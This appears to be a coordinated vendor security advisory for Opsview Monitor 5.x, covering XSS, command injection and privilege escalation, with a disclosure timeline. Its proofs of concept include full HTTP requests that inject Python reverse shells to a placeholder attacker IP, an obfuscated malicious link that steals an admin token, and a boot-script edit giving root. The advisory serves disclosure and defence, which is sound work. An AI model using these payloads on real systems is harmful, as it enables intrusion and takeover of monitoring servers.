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Opsview Monitor 5.x Command Execution

Opsview Monitor 5.x Command Execution
Posted Sep 5, 2018
Authored by Core Security Technologies, Fernando Diaz, Fernando Catoira | Site coresecurity.com

Opsview Monitor versions 5.2, 5.3, and 5.4 suffer from cross site scripting and multiple remote command execution vulnerabilities.

tags | exploit, remote, vulnerability, xss
advisories | CVE-2018-16144, CVE-2018-16145, CVE-2018-16146, CVE-2018-16147, CVE-2018-16148
MD5 | bfca5d508c2cc0dae73d25b180e60694

Opsview Monitor 5.x Command Execution

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Opsview Monitor Multiple Vulnerabilities

1. **Advisory Information**

Title: Opsview Monitor Multiple Vulnerabilities
Advisory ID: CORE-2018-0008
Advisory URL:
http://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities
Date published: 2018-09-04
Date of last update: 2018-09-04
Vendors contacted: Opsview
Release mode: Coordinated release

2. **Vulnerability Information**

Class: Improper Neutralization of Input During Web Page Generation
[CWE-79], Improper Neutralization of Input During Web Page Generation
[CWE-79], Improper Neutralization of Special Elements used in an OS
Command [CWE-78], Improper Neutralization of Special Elements used in
an OS Command [CWE-78], Execution with Unnecessary Privileges [CWE-250]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-16148, CVE-2018-16147, CVE-2018-16146, CVE-2018-16144,
CVE-2018-16145

3. **Vulnerability Description**

Opsview's website states that:

Opsview[1] builds monitoring software that helps DevOps understand how
the performance of their hybrid IT infrastructure & apps impacts
business service delivery. Opsview Monitor supports +3500 Nagios plugins
and service checks making it easy to monitor everything from Docker and
VMware to Amazon Web Services, Hyper-V and more.

Multiple vulnerabilities were found in the Opsview Monitor, which would
allow an attacker with access to the management console to execute
commands on the operating system.

4. **Vulnerable Packages**

. Opsview Monitor 5.4
. Opsview Monitor 5.3
. Opsview Monitor 5.2

Other products and versions might be affected, but they were not tested.

5. **Vendor Information, Solutions and Workarounds**

Opsview released the following versions of its product that fix the
reported issues.

. Opsview Monitor 6.0
. Opsview Monitor 5.4.2
. Opsview Monitor 5.3.1

In addition, Opsview published the following release notes:

. https://knowledge.opsview.com/v5.4/docs/whats-new
. https://knowledge.opsview.com/v5.3/docs/whats-new

6. **Credits**

These vulnerabilities were discovered and researched by Fernando Diaz
and Fernando Catoira from Core Security Consulting Services. The
publication of this advisory was coordinated by Leandro Cuozzo from Core
Advisories Team.

7. **Technical Description / Proof of Concept Code**

Opsview Monitor is a virtual appliance designed to be deployed inside
the organization's network infrastructure. It comes bundled with a Web
Management Console to monitor and manage hosts and their services.
Multiple vulnerabilities were found in the context of this appliance,
which could allow a remote attacker to compromise the system.
Vulnerabilities described in 7.1 and 7.2 could be abused to execute
malicious JavaScript code in the context of a legitimate user.
In addition, issues presented in 7.3 and 7.4 could allow an attacker to
obtain command execution on the system as the nagios user. Finally, the
issue found in one of the scripts run during the boot process presented
in 7.5 would allow attackers to elevate their privileges from nagios
user to root after a system restart, hence obtaining full control of the
appliance.

7.1. **Reflected Cross-Site Scripting in Diagnostics**

[CVE-2018-16148] The 'diagnosticsb2ksy' parameter of the '/rest'
endpoint is vulnerable to Cross-Site Scripting.

The following proof of concept demonstrates the vulnerability:

/-----
GET
/rest/diagnosticsb2ksy%253cscript%253ealert(1)%253c%252fscript%253ev7uol%3ffilename=1%26download=1
HTTP/1.1
Host: <serverIP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: opsview_web_session=46f985298c7bba5291a18c3a749362a08eaa9401;
auth_tkt=ODFlYjc4YjVlN2M5ZmQ2MDUyNzhlMTEyZTM1ZjRmODM1YWI5ODUzMGFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
-----/

7.2. **Persistent Cross-Site Scripting in Settings endpoint**

[CVE-2018-16147] The 'data' parameter of the '/settings/api/router'
endpoint is vulnerable to Cross-Site Scripting. The following proof of
concept demonstrates the vulnerability:

/-----
POST /settings/api/router?_dc=1521575692128 HTTP/1.1
Host: <serverIP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<serverIP>/settings/
x-opsview-username: rifle
x-opsview-token: 053f415648640ea5a9d0c6e3e7f5603cf7b08503
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 506
Cookie: opsview_web_session=3b8059865b28b96a5cd27a6d4fb4193bed9aa256;
auth_tkt=ZTFiMzFlODc1ZDUzYzk3MzEwMGM2MjhiZTgxMzRhMDQ1YWIxNWNlOXBlbnRlc3QhREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsTkFWT1BUSU9OUyxOT1RJRllTT01FLFBBU1NXT1JEU0FWRSxSUkRHUkFQSFMsVklFV0FMTCE%3D
Connection: close

[{"action":"SettingsServer","method":"setObjecttypeState","data":["</script><script>alert(4)</script>","{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"filters\":[],\"pageSize\":50,\"page\":1}}"],"type":"rpc","tid":2},{"action":"SettingsServer","method":"setObjecttypeState","data":["profile","{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"filters\":[],\"pageSize\":50,\"page\":1}}"],"type":"rpc","tid":3}]
-----/

The input will be stored without any sanitization and rendered every
time the /settings section is visited by the user. It's important to
point that this XSS is self stored and it's executed only in the context
of the victim's session. However, this vulnerability can be exploited by
an attacker to gain persistency and execute the malicious code each time
the victim accesses to the settings section.
Excerpt of the source code showing the injected script tag:

/-----
[{"property":"name","root":"data","direction":"ASC"}]}},"contact":{"storeState":{"pageSize":50,"filters":[],"page":1,"sorters":[{"direction":"ASC","property":"name","root":"data"}]}},"</script><script>alert(4)</script>":{"storeState":{"sorters":[{"root":"data","property":"name","direction":"ASC"}],"pageSize":50,"filters":[],"page":1}},"hostcheckcommand":{"storeState":{"pageSize":50,"filters":[],"page":1,"sorters":[{"direction":"ASC","property":"priority","root":"data"}]}},"netflow_collector":{"storeState":{"sorters":[{"direction":"ASC","root":"data","property":"name"}],"page":1,"filters":[],"pageSize":50}},"<script>alert(4)</script>":{"storeState":{"sorters":[{"direction":"ASC","root":"data","property":"name"}],"
-----/

7.3. **Notification abuse leading to remote command execution**

[CVE-2018-16146] Opsview Web Management console provides a functionality
accessible by an authenticated administrator to test notifications that
are triggered under certain configurable events. The 'value' parameter
is not properly sanitized, leading to an arbitrary command injection
executed on the system with nagios' user privileges.

The following proof of concept executes a reverse shell:

/-----
POST /rest/config/notificationmethod/testnotification?_dc=1520444703477
HTTP/1.1
Host: <serverIP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0)
Gecko/20100101 Firefox/58.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<serverIP>/settings/
x-opsview-username: admin
x-opsview-token: 7ac1116c336cc648cda6caa707a17d7aa6114074
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 376
Cookie: redirect=1; testing=1; sid=9bfa04afc5ccc966c623078bab8834e0;
opsview_web_session=5071271ffb62fffffcb589c9ae9ab9c23d780b13;
auth_tkt=MDA1M2JmODhmYTlmNWM1NDEyNzM3ZWRiYWJiMTBmZTA1YWEwMWY0M2FkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D
Connection: close

{"message":"Test
Message","command":"submit_xmpp_script","variables":[],"test_variables":[{"name":"PAGER","value":"123123123
|| python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attackerIP>\",16000));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"}],"id":"20"}
-----/

/-----
nc -lvp 16000
Listening on [0.0.0.0] (family 0, port 16000)
Connection from [<serverIP>] port 16000 [tcp/*] accepted (family 2,
sport 43016)
$ id
uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)
-----/

Additionally, it is possible to combine this issue with a redirection
functionality within the management console and the vulnerability
described in 7.1 (Reflected Cross-Site Scripting), to build a specially
crafted link that could be sent to an administrator to trigger a reverse
shell.

In order to perform the attack, consider the following:

. API's sensitive actions require a 'restToken' to be processed. This
token could be obtained by a Cross-Site Scripting attack from a specific
endpoint (/settings).
. Abuse the login page redirection functionality to force the user to
access the Cross-Site Scripting vulnerable URL described in 7.1 (you may
also abuse the Cross-Site scripting vulnerability reported in
https://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present).
If the user is already authenticated he will be automatically redirected.
Otherwise, the login page will appear and the redirection will take
place after a successful login.

The following proof of concept presents a crafted link that could
trigger a reverse shell if accessed by an administrator:

/-----
https://<serverIP>/login?back=%2Frest%2Fdiagnosticsb2ksy%253cscript%253eeval(atob(%27dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO3hoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSl7cmVnZXhwID0gLyg%2FOnJlc3RUb2tlbiI6IikoLio%2FKSg%2FOiIpLzt0b2tlbiA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3JlZ2V4cCA9IC8oPzp1c2VyTmFtZSI6IikoLio%2FKSg%2FOiIpLzt1c2VybmFtZSA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3ZhciB4aHIyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7eGhyMi5vcGVuKCdQT1NUJywgJy9yZXN0L2NvbmZpZy9ub3RpZmljYXRpb25tZXRob2QvdGVzdG5vdGlmaWNhdGlvbi8nLCB0cnVlKTt4aHIyLnNldFJlcXVlc3RIZWFkZXIoIngtb3Bzdmlldy11c2VybmFtZSIsIHVzZXJuYW1lKTtjb25zb2xlLmxvZyh1c2VybmFtZSk7Y29uc29sZS5sb2codG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigieC1vcHN2aWV3LXRva2VuIiwgdG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKTtib2R5ID0geyJtZXNzYWdlIjoiVGVzdCBNZXNzYWdlIiwiY29tbWFuZCI6InN1Ym1pdF94bXBwX3NjcmlwdCIsInZhcmlhYmxlcyI6W10sInRlc3RfdmFyaWFibGVzIjpbeyJuYW1lIjoiUEFHRVIiLCJ2YWx1ZSI6IjEyMzEyMzEyMyB8fCBweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKFwiPGF0dGFja2VySVA%2BXCIsMTYwMDApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIn1dLCJpZCI6IjEifTt4aHIyLnNlbmQoSlNPTi5zdHJpbmdpZnkoYm9keSkpO2FsZXJ0KHRva2VuKTthbGVydCh1c2VybmFtZSk7fX07eGhyLm9wZW4oJ1BPU1QnLCAnL3NldHRpbmdzLycsIHRydWUpO3hoci5zZW5kKG51bGwpOw%3D%3D%27))%253c%25252fscript%253ev7uol%3ffilename=1%26download=1
-----/

Once clicked, the authenticated administrator will be redirected to the
vulnerable section where his browser will perform a request to the
'/settings' endpoint in order to obtain a valid 'restToken'. Finally,
using that token, the API request to
'rest/config/notificationmethod/testnotification' will be exploited thus
resulting in a reverse shell.

7.4. **Rancid test connection functionality abuse leading to command
execution**

[CVE-2018-16144] NetAudit is a section within Network Analyzer that
allows the user to automate the backing up of network devices'
configuration files to a centralized location. The test connection
functionality is vulnerable to command injection due to an improper
sanitization of the 'rancid_password' parameter.

The following proof of concept executes a reverse shell:

/-----
POST /rest/config/host/test_rancid_connection?_dc=1521569909290 HTTP/1.1
Host: <serverIP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<serverIP>/settings/
x-opsview-username: admin
x-opsview-token: b3d716e0157fd6337e6978220188051d8c578850
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 434
Cookie: opsview_web_session=8f48a60452543863c3ee3662202a0d0ef568e86f;
auth_tkt=ZTJlMWFlODQ4ZTVhYmJiN2I3YTQzNWYxNzkzYjAxYWU1YWIxNGI1NWFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D
Connection: close

ip=<attackerIP>++++++&rancid_vendor=1&rancid_username=234234+add+password+xxxxx&rancid_connection_type=telnet&rancid_autoenable=1&rancid_password=2342342342+%3b+sleep%2011%3b%20`python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("<attackerIP>",16000))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'`&host_id=2
-----/

/-----
nc -lvp 16000
Listening on [0.0.0.0] (family 0, port 16000)
Connection from [<serverIP>] port 16000 [tcp/*] accepted (family 2,
sport 43016)
$ id
uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)
$ uname -a
Linux image-builder-299 4.4.0-1010-aws #10-Ubuntu SMP Tue Jan 9 23:01:34
UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
-----/

7.5. **Script modification could allow local privilege escalation**

[CVE-2018-16145] Most of the services in Opsview Monitor run with nagios
privileges and the scripts that run at boot time, impersonate nagios
user during its execution. However, the
'/etc/init.d/opsview-reporting-module' script invokes the
'/opt/opsview/jasper/bin/db_jasper' script before dropping root
privileges.

The following excerpt shows the vulnerable code:

/-----
/etc/init.d/opsview-reporting-module:

/opt/opsview/jasper/bin/db_jasper db_exists 2> /dev/null
if [ $? != 0 ]; then
echo "Attempted to start jasperserver but MySQL credentials are wrong."
exit 0
fi

DAEMON=/opt/opsview/jasper/bin/rc.jasperserver

test -x $DAEMON || exit 0

# Switch to opsview user if run as root
id | grep "uid=0(" >/dev/null
if [ $? = 0 ] ; then
su - opsview -c "$DAEMON $@"
else
exec $DAEMON $@
fi
-----/

The file '/opt/opsview/jasper/bin/db_jasper', which is invoked by the
vulnerable script, can be edited by the nagios user which belongs to the
'opsview' group.

/-----
ls -ltr /opt/opsview/jasper/bin/db_jasper
-rwxrwxr-x 1 opsview opsview 2531 Feb 6 2017
/opt/opsview/jasper/bin/db_jasper
nagios@image-builder-299:/home/admin$ id
uid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)
-----/

Since 'db_jasper' receives 'db_exists' as an argument, which is later
used in a case statement, an attacker could edit that specific part of
the script in order to execute arbitrary code once the appliance is
rebooted.

The following excerpt shows the attacker's bash script which, after
execution, will trigger a reverse shell with root privileges:

/-----
while [ "x$1" != "x" ] ; do
case "$1" in
db_export)
db_export
;;
db_export_test)
db_export_test
;;
db_export_initial)
TEST=1
db_backup
;;
db_import)
db_import
;;
db_install)
db_install
;;
db_backup)
db_backup
;;
db_restore)
db_restore
;;
db_exists)
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerIP>",16000));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &
db_exists
exit $?
;;
db_upgrade)
db_upgrade
exit $?
;;
*)
die "Usage: $0
{db_export|db_import|db_install|db_backup|db_restore}"
;;

esac
shift
done
-----/

/-----
$nc -lvp 16000
Listening on [0.0.0.0] (family 0, port 16000)
Connection from [<serverIP>] port 16000 [tcp/*] accepted (family 2,
sport 45566)
# id
uid=0(root) gid=0(root) groups=0(root)
-----/

8. **Report Timeline**

2018-05-03: Core Security sent an initial notification to Opsview,
asking for GPG keys in order to send draft advisory.
2018-05-04: Opsview replied attaching its GPG keys.
2018-05-04: Core Security sent the encrypted draft advisory.
2018-05-04: Opsview confirmed the reception of the advisory and informed
an initial response would be ready by May 11th.
2018-05-11: Opsview replied saying they were able to reproduce all of
the reported vulnerabilities and confirmed that they were present in all
supported versions of Opsview Monitor (5.4, 5.3 and 5.2).
In addition, Opsview informed that were planning to release a fix for
these versions by the end of July.
2018-05-11: Core Security thanked the confirmation.
2018-06-25: Opsview informed that they were planning to release a major
update for the product (6.0) at the end of July. This update will
address all reported vulnerabilities. Also, they informed that the
previous versions of the product would be fixed by the end of August.
2018-06-27: Core Security thanked the status update and asked for a
tentative public disclosure date.
2018-07-16: Core Security requested a status update.
2018-07-18: Opsview proposed to set a tentative publication date by the
end of August when they release the fixes for its earlier versions.
2018-07-18: Core Security agreed with the Opsview's proposal.
2018-07-23: Opsview notified Core Security that the Opsview Monitor 6.0
release will be available on July 25th. In addition, they
informed that they didn't have the exact release date for the updates to
previous versions of the product.
2018-08-06: Core Security requested a status update for the remaining
fixes.
2018-08-13: Opsview replied saying that they were targeting the week of
August 24th for release the fixes of their earlier product versions and
they would confirm the exact date at the end of the next week.
2018-08-13: Core Security thanked the reply.
2018-08-24: Opsview informed Core Security that the remaining fixed
versions will be available on August 29th.
2018-08-24: Core Security thanked the update and proposed September 4th
as the coordinated release date.
2018-08-28: Opsview agreed on the proposed release date.
2018-09-04: Advisory CORE-2018-0008 published.

9. **References**

[1] https://www.opsview.com/solutions

10. **About CoreLabs**

CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at: http://corelabs.coresecurity.com.

11. **About Core Security**

Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster if
a breach does occur.

Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com

12. **Disclaimer**

The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/


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